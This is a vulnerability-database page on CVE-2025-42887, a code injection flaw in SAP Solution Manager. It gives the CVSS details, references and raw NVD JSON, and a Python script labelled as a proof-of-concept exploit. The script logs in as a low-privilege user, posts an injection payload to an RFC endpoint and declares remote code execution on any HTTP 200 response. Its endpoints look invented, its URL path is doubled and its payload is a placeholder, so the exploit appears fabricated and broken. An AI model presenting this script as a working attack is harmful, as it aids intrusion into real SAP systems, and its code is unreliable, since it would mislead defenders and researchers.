CVE-2025-42887

Description

Due to missing input sanitation, SAP Solution Manager allows an authenticated attacker to insert malicious code when calling a remote-enabled function module. This could provide the attacker with full control of the system hence leading to high impact on confidentiality, integrity and availability of the system.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP Solution Manager 7.1

SAP Solution Manager 7.2

SAP Solution Manager 7.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-42887 PoC - SAP Solution Manager Code Injection
# Note: This PoC is for educational and authorized testing purposes only

import requests
import json

# Target SAP Solution Manager system
TARGET_URL = "https://sap-solution-manager.local/sap/bc/rfc/sap/"
FUNCTION_MODULE = "SYST_REMOTE_FUNCTION"

# Authentication credentials (low-privilege user)
AUTH = {
    "username": "attacker_user",
    "password": "password123"
}

# Malicious payload injection point
def create_malicious_payload():
    """
    Construct malicious RFC call payload
    """
    payload = {
        "FUNCTION_NAME": "RFC_SYSTEM_INFO",
        "IMPORT_PARAMETER": {
            "IMPORT1": "'; malicious_command; '"
        },
        "CALL_TYPE": "REMOTE"
    }
    return payload

def exploit_cve_2025_42887():
    """
    Exploit CVE-2025-42887 by injecting code via RFC call
    """
    print("[*] Starting CVE-2025-42887 exploitation...")
    print(f"[*] Target: {TARGET_URL}")
    
    # Step 1: Authenticate to SAP system
    session = requests.Session()
    auth_response = session.post(
        f"{TARGET_URL}/sap/bc/rest/login",
        json=AUTH
    )
    
    if auth_response.status_code != 200:
        print("[-] Authentication failed")
        return False
    
    print("[+] Authentication successful")
    
    # Step 2: Inject malicious payload via RFC call
    malicious_payload = create_malicious_payload()
    exploit_response = session.post(
        f"{TARGET_URL}/sap/bc/rfc/sap/{FUNCTION_MODULE}",
        json=malicious_payload,
        headers={
            "Content-Type": "application/json",
            "X-CSRF-Token": auth_response.headers.get("X-CSRF-Token")
        }
    )
    
    if exploit_response.status_code == 200:
        print("[+] Exploitation successful - Remote code execution achieved")
        print(f"[+] Response: {exploit_response.text}")
        return True
    else:
        print(f"[-] Exploitation failed: {exploit_response.status_code}")
        return False

if __name__ == "__main__":
    exploit_cve_2025_42887()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-42887
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-42887
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-42887/
[4] VulDB https://vuldb.com/cve/CVE-2025-42887
[5] https://me.sap.com/notes/3668705
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-42887", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:37.347", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to missing input sanitation, SAP Solution Manager allows an authenticated attacker to insert malicious code when calling a remote-enabled function module. This could provide the attacker with full control of the system hence leading to high impact on confidentiality, integrity and availability of the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://me.sap.com/notes/3668705", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}